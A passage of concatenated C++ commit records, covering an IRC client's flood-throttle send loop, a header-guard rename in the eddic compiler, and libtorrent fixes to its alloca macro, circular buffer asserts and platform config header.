(socket->isConnected() && proto->floodThrottleInEffect()) { if (linesToSend.empty()) { std::this_thread::sleep_for(std::chrono::milliseconds(25)); continue; } std::unique_ptr<IRCMessage> sendingLine = linesToSend.front(); linesToSend.pop(); unsigned int thisPenalty = 1; auto penaltyIter = commandPenalty.find(sendingLine->command()); if (penaltyIter != commandPenalty.end()) thisPenalty = penaltyIter->second; while (penaltySeconds > 10) std::this_thread::sleep_for(std::chrono::seconds(1)); MutexLocker mutexLock (&sendMutex); penaltySeconds += thisPenalty; if (socket->isConnected()) { // to make sure the connection didn't get lost during the wait std::string lineToSend (sendingLine->rawLine()); socket->sendData(lineToSend); logger->log(LOG_ALL, "protocol-client-send-" + proto->servName(), lineToSend); } std::stringstream logMsg; logMsg << "The command " << sendingLine->command() << " was sent; the penalty has increased by " << thisPenalty << " to " << penaltySeconds << "."; logger->log(LOG_ALL, "protocol-client-penalty-" + proto->servName(), logMsg.str()); } if (socket->isConnected()) { MutexLocker mutexLock (&sendMutex); while (!linesToSend.empty()) { std::string lineToSend (linesToSend.front()->rawLine()); linesToSend.pop(); socket->sendData(lineToSend); logger->log(LOG_ALL, "protocol-client-send-" + proto->servName(), lineToSend); } } } void Client::decrementSeconds() { LogManager* logger = LogManager::getHandle(); while (socket->isConnected() && proto->floodThrottleInEffect()) { std::this_thread::sleep_for(std::chrono::seconds(1)); MutexLocker mutexLock (&sendMutex); if (penaltySeconds > 0) { penaltySeconds--; std::ostringstream logMsg; logMsg << "Penalty second count reduced to " << penaltySeconds; logger->log(LOG_ALL, "protocol-client-penalty-" + proto->servName(), logMsg.str()); } } MutexLocker mutexLock (&sendMutex); penaltySeconds = 0; logger->log(LOG_DEBUG, "protocol-client-penalty-" + proto->servName(), "Socket disconnected or flood throttling disabled; penalty reset to 0."); } void Client::delayRegister() { std::this_thread::sleep_for(std::chrono::seconds(5)); if (!needRegisterDelay) return; doRegister(); }<|endoftext|>
<commit_before>//======================================================================= // Copyright Baptiste Wicht 2011. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) //======================================================================= #ifndef AST_VARIABLE_H #define AST_VARIABLE_H #include <memory> #include <boost/intrusive_ptr.hpp> #include "ast/Deferred.hpp" namespace eddic { class Context; class Variable; namespace ast { struct ASTVariableValue { std::shared_ptr<Context> context; std::string variableName; std::shared_ptr<Variable> var; mutable long references; ASTVariableValue() : references(0) {} }; typedef Deferred<ASTVariableValue, boost::intrusive_ptr<ASTVariableValue>> VariableValue; } //end of ast } //end of eddic //Adapt the struct for the AST BOOST_FUSION_ADAPT_STRUCT( eddic::ast::VariableValue, (std::string, Content->variableName) ) #endif <commit_msg>Rename the define guard variable<commit_after>//======================================================================= // Copyright Baptiste Wicht 2011. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) //======================================================================= #ifndef AST_VARIABLE_VALUE_H #define AST_VARIABLE_VALUE_H #include <memory> #include <boost/intrusive_ptr.hpp> #include "ast/Deferred.hpp" namespace eddic { class Context; class Variable; namespace ast { struct ASTVariableValue { std::shared_ptr<Context> context; std::string variableName; std::shared_ptr<Variable> var; mutable long references; ASTVariableValue() : references(0) {} }; typedef Deferred<ASTVariableValue, boost::intrusive_ptr<ASTVariableValue>> VariableValue; } //end of ast } //end of eddic //Adapt the struct for the AST BOOST_FUSION_ADAPT_STRUCT( eddic::ast::VariableValue, (std::string, Content->variableName) ) #endif <|endoftext|>
<commit_before>/* Copyright (c) 2008, Arvid Norberg All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef TORRENT_ALLOCA #include "libtorrent/config.hpp" #ifdef TORRENT_WINDOWS #include <malloc.h> #define TORRENT_ALLOCA(t, n) static_cast<t*>(_alloca(sizeof(t) * (n))) #else #include <alloca.h> #define TORRENT_ALLOCA(t, n) static_cast<t*>(alloca(sizeof(t) * (n))) #endif #endif <commit_msg>another FreeBSD fix<commit_after>/* Copyright (c) 2008, Arvid Norberg All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef TORRENT_ALLOCA #include "libtorrent/config.hpp" #if defined TORRENT_WINDOWS #include <malloc.h> #define TORRENT_ALLOCA(t, n) static_cast<t*>(_alloca(sizeof(t) * (n))) #elif defined TORRENT_BSD #include <stdlib.h> #define TORRENT_ALLOCA(t, n) static_cast<t*>(alloca(sizeof(t) * (n))) #else #include <alloca.h> #define TORRENT_ALLOCA(t, n) static_cast<t*>(alloca(sizeof(t) * (n))) #endif #endif <|endoftext|>
<commit_before>/* Copyright (c) 2003 - 2005, Arvid Norberg, Daniel Wallin All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Rasterbar Software nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef LIBTORRENT_BUFFER_HPP #define LIBTORRENT_BUFFER_HPP //#define TORRENT_BUFFER_DEBUG #include "libtorrent/invariant_check.hpp" #include <memory> namespace libtorrent { class buffer { public: struct interval { interval(char* begin, char* end) : begin(begin) , end(end) {} char operator[](int index) const { assert(begin + index < end); return begin[index]; } int left() const { assert(end > begin); return end - begin; } char* begin; char* end; }; struct const_interval { const_interval(char const* begin, char const* end) : begin(begin) , end(end) {} char operator[](int index) const { assert(begin + index < end); return begin[index]; } int left() const { assert(end > begin); return end - begin; } char const* begin; char const* end; }; typedef std::pair<const_interval, const_interval> interval_type; buffer(std::size_t n = 0); ~buffer(); interval allocate(std::size_t n); void insert(char const* first, char const* last); void erase(std::size_t n); std::size_t size() const; std::size_t capacity() const; void reserve(std::size_t n); interval_type data() const; bool empty() const; std::size_t space_left() const; char const* raw_data() const { return m_first; } #ifndef NDEBUG void check_invariant() const; #endif private: char* m_first; char* m_last; char* m_write_cursor; char* m_read_cursor; char* m_read_end; bool m_empty; #ifdef TORRENT_BUFFER_DEBUG mutable std::vector<char> m_debug; mutable int m_pending_copy; #endif }; inline buffer::buffer(std::size_t n) : m_first((char*)::operator new(n)) , m_last(m_first + n) , m_write_cursor(m_first) , m_read_cursor(m_first) , m_read_end(m_last) , m_empty(true) { #ifdef TORRENT_BUFFER_DEBUG m_pending_copy = 0; #endif } inline buffer::~buffer() { ::operator delete (m_first); } inline buffer::interval buffer::allocate(std::size_t n) { assert(m_read_cursor <= m_read_end || m_empty); INVARIANT_CHECK; #ifdef TORRENT_BUFFER_DEBUG if (m_pending_copy) { std::copy(m_write_cursor - m_pending_copy, m_write_cursor , m_debug.end() - m_pending_copy); m_pending_copy = 0; } m_debug.resize(m_debug.size() + n); m_pending_copy = n; #endif if (m_read_cursor < m_write_cursor || m_empty) { // ..R***W.. if (m_last - m_write_cursor >= (std::ptrdiff_t)n) { interval ret(m_write_cursor, m_write_cursor + n); m_write_cursor += n; m_read_end = m_write_cursor; assert(m_read_cursor <= m_read_end); if (n) m_empty = false; return ret; } if (m_read_cursor - m_first >= (std::ptrdiff_t)n) { m_read_end = m_write_cursor; interval ret(m_first, m_first + n); m_write_cursor = m_first + n; assert(m_read_cursor <= m_read_end); if (n) m_empty = false; return ret; } reserve(capacity() + n - (m_last - m_write_cursor)); assert(m_last - m_write_cursor >= (std::ptrdiff_t)n); interval ret(m_write_cursor, m_write_cursor + n); m_write_cursor += n; m_read_end = m_write_cursor; if (n) m_empty = false; assert(m_read_cursor <= m_read_end); return ret; } //**W...R** if (m_read_cursor - m_write_cursor >= (std::ptrdiff_t)n) { interval ret(m_write_cursor, m_write_cursor + n); m_write_cursor += n; if (n) m_empty = false; return ret; } reserve(capacity() + n - (m_read_cursor - m_write_cursor)); assert(m_read_cursor - m_write_cursor >= (std::ptrdiff_t)n); interval ret(m_write_cursor, m_write_cursor + n); m_write_cursor += n; if (n) m_empty = false; return ret; } inline void buffer::insert(char const* first, char const* last) { INVARIANT_CHECK; std::size_t n = last - first; #ifdef TORRENT_BUFFER_DEBUG if (m_pending_copy) { std::copy(m_write_cursor - m_pending_copy, m_write_cursor , m_debug.end() - m_pending_copy); m_pending_copy = 0; } m_debug.insert(m_debug.end(), first, last); #endif if (space_left() < n) { reserve(capacity() + n); } m_empty = false; char const* end = (m_last - m_write_cursor) < (std::ptrdiff_t)n ? m_last : m_write_cursor + n; std::size_t copied = end - m_write_cursor; std::memcpy(m_write_cursor, first, copied); m_write_cursor += copied; if (m_write_cursor > m_read_end) m_read_end = m_write_cursor; first += copied; n -= copied; if (n == 0) return; assert(m_write_cursor == m_last); m_write_cursor = m_first; memcpy(m_write_cursor, first, n); m_write_cursor += n; } inline void buffer::erase(std::size_t n) { INVARIANT_CHECK; if (n == 0) return; assert(!m_empty); #ifndef NDEBUG int prev_size = size(); #endif assert(m_read_cursor <= m_read_end); m_read_cursor += n; if (m_read_cursor > m_read_end) { m_read_cursor = m_first + (m_read_cursor - m_read_end); assert(m_read_cursor <= m_write_cursor); } m_empty = m_read_cursor == m_write_cursor; assert(prev_size - n == size()); #ifdef TORRENT_BUFFER_DEBUG m_debug.erase(m_debug.begin(), m_debug.begin() + n); #endif } inline std::size_t buffer::size() const { // ...R***W. if (m_read_cursor < m_write_cursor) { return m_write_cursor - m_read_cursor; } // ***W..R* else { if (m_empty) return 0; return (m_write_cursor - m_first) + (m_read_end - m_read_cursor); } } inline std::size_t buffer::capacity() const { return m_last - m_first; } inline void buffer::reserve(std::size_t size) { std::size_t n = (std::size_t)(capacity() * 1.f); if (n < size) n = size; char* buf = (char*)::operator new(n); char* old = m_first; if (m_read_cursor < m_write_cursor) { // ...R***W.<>. std::memcpy( buf + (m_read_cursor - m_first) , m_read_cursor , m_write_cursor - m_read_cursor ); m_write_cursor = buf + (m_write_cursor - m_first); m_read_cursor = buf + (m_read_cursor - m_first); m_read_end = m_write_cursor; m_first = buf; m_last = buf + n; } else { // **W..<>.R** std::size_t skip = n - (m_last - m_first); std::memcpy(buf, m_first, m_write_cursor - m_first); std::memcpy( buf + (m_read_cursor - m_first) + skip , m_read_cursor , m_last - m_read_cursor ); m_write_cursor = buf + (m_write_cursor - m_first); if (!m_empty) { m_read_cursor = buf + (m_read_cursor - m_first) + skip; m_read_end = buf + (m_read_end - m_first) + skip; } else { m_read_cursor = m_write_cursor; m_read_end = m_write_cursor; } m_first = buf; m_last = buf + n; } ::operator delete (old); } #ifndef NDEBUG inline void buffer::check_invariant() const { assert(m_read_end >= m_read_cursor); assert(m_last >= m_read_cursor); assert(m_last >= m_write_cursor); assert(m_last >= m_first); assert(m_first <= m_read_cursor); assert(m_first <= m_write_cursor); #ifdef TORRENT_BUFFER_DEBUG int a = m_debug.size(); int b = size(); (void)a; (void)b; assert(m_debug.size() == size()); #endif } #endif inline buffer::interval_type buffer::data() const { INVARIANT_CHECK; #ifdef TORRENT_BUFFER_DEBUG if (m_pending_copy) { std::copy(m_write_cursor - m_pending_copy, m_write_cursor , m_debug.end() - m_pending_copy); m_pending_copy = 0; } #endif // ...R***W. if (m_read_cursor < m_write_cursor) { #ifdef TORRENT_BUFFER_DEBUG assert(m_debug.size() == size()); assert(std::equal(m_debug.begin(), m_debug.end(), m_read_cursor)); #endif return interval_type( const_interval(m_read_cursor, m_write_cursor) , const_interval(m_last, m_last) ); } // **W...R** else { if (m_read_cursor == m_read_end) { #ifdef TORRENT_BUFFER_DEBUG assert(m_debug.size() == size()); assert(std::equal(m_debug.begin(), m_debug.end(), m_first)); #endif return interval_type( const_interval(m_first, m_write_cursor) , const_interval(m_last, m_last)); } #ifdef TORRENT_BUFFER_DEBUG assert(m_debug.size() == size()); assert(std::equal(m_debug.begin(), m_debug.begin() + (m_read_end - m_read_cursor), m_read_cursor)); assert(std::equal(m_debug.begin() + (m_read_end - m_read_cursor), m_debug.end() , m_first)); #endif assert(m_read_cursor <= m_read_end || m_empty); return interval_type( const_interval(m_read_cursor, m_read_end) , const_interval(m_first, m_write_cursor) ); } } inline bool buffer::empty() const { return m_empty; } inline std::size_t buffer::space_left() const { if (m_empty) return m_last - m_first; // ...R***W. if (m_read_cursor < m_write_cursor) { return (m_last - m_write_cursor) + (m_read_cursor - m_first); } // ***W..R* else { return m_read_cursor - m_write_cursor; } } } #endif // LIBTORRENT_BUFFER_HPP <commit_msg>fixed incorrect assert<commit_after>/* Copyright (c) 2003 - 2005, Arvid Norberg, Daniel Wallin All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Rasterbar Software nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef LIBTORRENT_BUFFER_HPP #define LIBTORRENT_BUFFER_HPP //#define TORRENT_BUFFER_DEBUG #include "libtorrent/invariant_check.hpp" #include <memory> namespace libtorrent { class buffer { public: struct interval { interval(char* begin, char* end) : begin(begin) , end(end) {} char operator[](int index) const { assert(begin + index < end); return begin[index]; } int left() const { assert(end >= begin); return end - begin; } char* begin; char* end; }; struct const_interval { const_interval(char const* begin, char const* end) : begin(begin) , end(end) {} char operator[](int index) const { assert(begin + index < end); return begin[index]; } int left() const { assert(end >= begin); return end - begin; } char const* begin; char const* end; }; typedef std::pair<const_interval, const_interval> interval_type; buffer(std::size_t n = 0); ~buffer(); interval allocate(std::size_t n); void insert(char const* first, char const* last); void erase(std::size_t n); std::size_t size() const; std::size_t capacity() const; void reserve(std::size_t n); interval_type data() const; bool empty() const; std::size_t space_left() const; char const* raw_data() const { return m_first; } #ifndef NDEBUG void check_invariant() const; #endif private: char* m_first; char* m_last; char* m_write_cursor; char* m_read_cursor; char* m_read_end; bool m_empty; #ifdef TORRENT_BUFFER_DEBUG mutable std::vector<char> m_debug; mutable int m_pending_copy; #endif }; inline buffer::buffer(std::size_t n) : m_first((char*)::operator new(n)) , m_last(m_first + n) , m_write_cursor(m_first) , m_read_cursor(m_first) , m_read_end(m_last) , m_empty(true) { #ifdef TORRENT_BUFFER_DEBUG m_pending_copy = 0; #endif } inline buffer::~buffer() { ::operator delete (m_first); } inline buffer::interval buffer::allocate(std::size_t n) { assert(m_read_cursor <= m_read_end || m_empty); INVARIANT_CHECK; #ifdef TORRENT_BUFFER_DEBUG if (m_pending_copy) { std::copy(m_write_cursor - m_pending_copy, m_write_cursor , m_debug.end() - m_pending_copy); m_pending_copy = 0; } m_debug.resize(m_debug.size() + n); m_pending_copy = n; #endif if (m_read_cursor < m_write_cursor || m_empty) { // ..R***W.. if (m_last - m_write_cursor >= (std::ptrdiff_t)n) { interval ret(m_write_cursor, m_write_cursor + n); m_write_cursor += n; m_read_end = m_write_cursor; assert(m_read_cursor <= m_read_end); if (n) m_empty = false; return ret; } if (m_read_cursor - m_first >= (std::ptrdiff_t)n) { m_read_end = m_write_cursor; interval ret(m_first, m_first + n); m_write_cursor = m_first + n; assert(m_read_cursor <= m_read_end); if (n) m_empty = false; return ret; } reserve(capacity() + n - (m_last - m_write_cursor)); assert(m_last - m_write_cursor >= (std::ptrdiff_t)n); interval ret(m_write_cursor, m_write_cursor + n); m_write_cursor += n; m_read_end = m_write_cursor; if (n) m_empty = false; assert(m_read_cursor <= m_read_end); return ret; } //**W...R** if (m_read_cursor - m_write_cursor >= (std::ptrdiff_t)n) { interval ret(m_write_cursor, m_write_cursor + n); m_write_cursor += n; if (n) m_empty = false; return ret; } reserve(capacity() + n - (m_read_cursor - m_write_cursor)); assert(m_read_cursor - m_write_cursor >= (std::ptrdiff_t)n); interval ret(m_write_cursor, m_write_cursor + n); m_write_cursor += n; if (n) m_empty = false; return ret; } inline void buffer::insert(char const* first, char const* last) { INVARIANT_CHECK; std::size_t n = last - first; #ifdef TORRENT_BUFFER_DEBUG if (m_pending_copy) { std::copy(m_write_cursor - m_pending_copy, m_write_cursor , m_debug.end() - m_pending_copy); m_pending_copy = 0; } m_debug.insert(m_debug.end(), first, last); #endif if (space_left() < n) { reserve(capacity() + n); } m_empty = false; char const* end = (m_last - m_write_cursor) < (std::ptrdiff_t)n ? m_last : m_write_cursor + n; std::size_t copied = end - m_write_cursor; std::memcpy(m_write_cursor, first, copied); m_write_cursor += copied; if (m_write_cursor > m_read_end) m_read_end = m_write_cursor; first += copied; n -= copied; if (n == 0) return; assert(m_write_cursor == m_last); m_write_cursor = m_first; memcpy(m_write_cursor, first, n); m_write_cursor += n; } inline void buffer::erase(std::size_t n) { INVARIANT_CHECK; if (n == 0) return; assert(!m_empty); #ifndef NDEBUG int prev_size = size(); #endif assert(m_read_cursor <= m_read_end); m_read_cursor += n; if (m_read_cursor > m_read_end) { m_read_cursor = m_first + (m_read_cursor - m_read_end); assert(m_read_cursor <= m_write_cursor); } m_empty = m_read_cursor == m_write_cursor; assert(prev_size - n == size()); #ifdef TORRENT_BUFFER_DEBUG m_debug.erase(m_debug.begin(), m_debug.begin() + n); #endif } inline std::size_t buffer::size() const { // ...R***W. if (m_read_cursor < m_write_cursor) { return m_write_cursor - m_read_cursor; } // ***W..R* else { if (m_empty) return 0; return (m_write_cursor - m_first) + (m_read_end - m_read_cursor); } } inline std::size_t buffer::capacity() const { return m_last - m_first; } inline void buffer::reserve(std::size_t size) { std::size_t n = (std::size_t)(capacity() * 1.f); if (n < size) n = size; char* buf = (char*)::operator new(n); char* old = m_first; if (m_read_cursor < m_write_cursor) { // ...R***W.<>. std::memcpy( buf + (m_read_cursor - m_first) , m_read_cursor , m_write_cursor - m_read_cursor ); m_write_cursor = buf + (m_write_cursor - m_first); m_read_cursor = buf + (m_read_cursor - m_first); m_read_end = m_write_cursor; m_first = buf; m_last = buf + n; } else { // **W..<>.R** std::size_t skip = n - (m_last - m_first); std::memcpy(buf, m_first, m_write_cursor - m_first); std::memcpy( buf + (m_read_cursor - m_first) + skip , m_read_cursor , m_last - m_read_cursor ); m_write_cursor = buf + (m_write_cursor - m_first); if (!m_empty) { m_read_cursor = buf + (m_read_cursor - m_first) + skip; m_read_end = buf + (m_read_end - m_first) + skip; } else { m_read_cursor = m_write_cursor; m_read_end = m_write_cursor; } m_first = buf; m_last = buf + n; } ::operator delete (old); } #ifndef NDEBUG inline void buffer::check_invariant() const { assert(m_read_end >= m_read_cursor); assert(m_last >= m_read_cursor); assert(m_last >= m_write_cursor); assert(m_last >= m_first); assert(m_first <= m_read_cursor); assert(m_first <= m_write_cursor); #ifdef TORRENT_BUFFER_DEBUG int a = m_debug.size(); int b = size(); (void)a; (void)b; assert(m_debug.size() == size()); #endif } #endif inline buffer::interval_type buffer::data() const { INVARIANT_CHECK; #ifdef TORRENT_BUFFER_DEBUG if (m_pending_copy) { std::copy(m_write_cursor - m_pending_copy, m_write_cursor , m_debug.end() - m_pending_copy); m_pending_copy = 0; } #endif // ...R***W. if (m_read_cursor < m_write_cursor) { #ifdef TORRENT_BUFFER_DEBUG assert(m_debug.size() == size()); assert(std::equal(m_debug.begin(), m_debug.end(), m_read_cursor)); #endif return interval_type( const_interval(m_read_cursor, m_write_cursor) , const_interval(m_last, m_last) ); } // **W...R** else { if (m_read_cursor == m_read_end) { #ifdef TORRENT_BUFFER_DEBUG assert(m_debug.size() == size()); assert(std::equal(m_debug.begin(), m_debug.end(), m_first)); #endif return interval_type( const_interval(m_first, m_write_cursor) , const_interval(m_last, m_last)); } #ifdef TORRENT_BUFFER_DEBUG assert(m_debug.size() == size()); assert(std::equal(m_debug.begin(), m_debug.begin() + (m_read_end - m_read_cursor), m_read_cursor)); assert(std::equal(m_debug.begin() + (m_read_end - m_read_cursor), m_debug.end() , m_first)); #endif assert(m_read_cursor <= m_read_end || m_empty); return interval_type( const_interval(m_read_cursor, m_read_end) , const_interval(m_first, m_write_cursor) ); } } inline bool buffer::empty() const { return m_empty; } inline std::size_t buffer::space_left() const { if (m_empty) return m_last - m_first; // ...R***W. if (m_read_cursor < m_write_cursor) { return (m_last - m_write_cursor) + (m_read_cursor - m_first); } // ***W..R* else { return m_read_cursor - m_write_cursor; } } } #endif // LIBTORRENT_BUFFER_HPP <|endoftext|>
<commit_before>/* Copyright (c) 2005, Arvid Norberg All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef TORRENT_CONFIG_HPP_INCLUDED #define TORRENT_CONFIG_HPP_INCLUDED #include <boost/config.hpp> #include <boost/version.hpp> #include <stdio.h> // for snprintf #ifndef WIN32 #define __STDC_FORMAT_MACROS #include <inttypes.h> #endif #ifndef PRId64 #ifdef _WIN32 #define PRId64 "I64d" #else #define PRId64 "lld" #endif #endif #if defined(__GNUC__) && __GNUC__ >= 4 #define TORRENT_DEPRECATED __attribute__ ((deprecated)) # if defined(TORRENT_BUILDING_SHARED) || defined(TORRENT_LINKING_SHARED) # define TORRENT_EXPORT __attribute__ ((visibility("default"))) # else # define TORRENT_EXPORT # endif #elif defined(__GNUC__) # define TORRENT_EXPORT #elif defined(BOOST_MSVC) #pragma warning(disable: 4258) #pragma warning(disable: 4251) # if defined(TORRENT_BUILDING_SHARED) # define TORRENT_EXPORT __declspec(dllexport) # elif defined(TORRENT_LINKING_SHARED) # define TORRENT_EXPORT __declspec(dllimport) # else # define TORRENT_EXPORT # endif #else # define TORRENT_EXPORT #endif #ifndef TORRENT_DEPRECATED #define TORRENT_DEPRECATED #endif // set up defines for target environments #if (defined __APPLE__ && __MACH__) || defined __FreeBSD__ || defined __NetBSD__ \ || defined __OpenBSD__ || defined __bsdi__ || defined __DragonFly__ \ || defined __FreeBSD_kernel__ #define TORRENT_BSD #elif defined __linux__ #define TORRENT_LINUX #elif defined WIN32 #define TORRENT_WINDOWS #elif defined sun || defined __sun #define TORRENT_SOLARIS #else #warning unkown OS, assuming BSD #define TORRENT_BSD #endif #define TORRENT_USE_IPV6 1 #define TORRENT_USE_MLOCK 1 #define TORRENT_USE_READV 1 #define TORRENT_USE_WRITEV 1 #define TORRENT_USE_IOSTREAM 1 // should wpath or path be used? #if defined UNICODE && !defined BOOST_FILESYSTEM_NARROW_ONLY \ && BOOST_VERSION >= 103400 && !defined __APPLE__ #define TORRENT_USE_WPATH 1 #else #define TORRENT_USE_WPATH 0 #endif #ifdef TORRENT_WINDOWS #include <stdarg.h> // this is the maximum number of characters in a // path element / filename on windows #define NAME_MAX 255 inline int snprintf(char* buf, int len, char const* fmt, ...) { va_list lp; va_start(lp, fmt); return vsnprintf_s(buf, len, _TRUNCATE, fmt, lp); } #define strtoll _strtoi64 #endif #if (defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)) && !defined (TORRENT_UPNP_LOGGING) #define TORRENT_UPNP_LOGGING #endif #if !TORRENT_USE_WPATH && defined TORRENT_LINUX // libiconv presnce, not implemented yet #define TORRENT_USE_LOCALE_FILENAMES 1 #else #define TORRENT_USE_LOCALE_FILENAMES 0 #endif #if !defined(TORRENT_READ_HANDLER_MAX_SIZE) # define TORRENT_READ_HANDLER_MAX_SIZE 256 #endif #if !defined(TORRENT_WRITE_HANDLER_MAX_SIZE) # define TORRENT_WRITE_HANDLER_MAX_SIZE 256 #endif // determine what timer implementation we can use #if defined(__MACH__) #define TORRENT_USE_ABSOLUTE_TIME 1 #elif defined(_WIN32) #define TORRENT_USE_QUERY_PERFORMANCE_TIMER 1 #elif defined(_POSIX_MONOTONIC_CLOCK) && _POSIX_MONOTONIC_CLOCK >= 0 #define TORRENT_USE_CLOCK_GETTIME 1 #else #define TORRENT_USE_BOOST_DATE_TIME 1 #endif #endif // 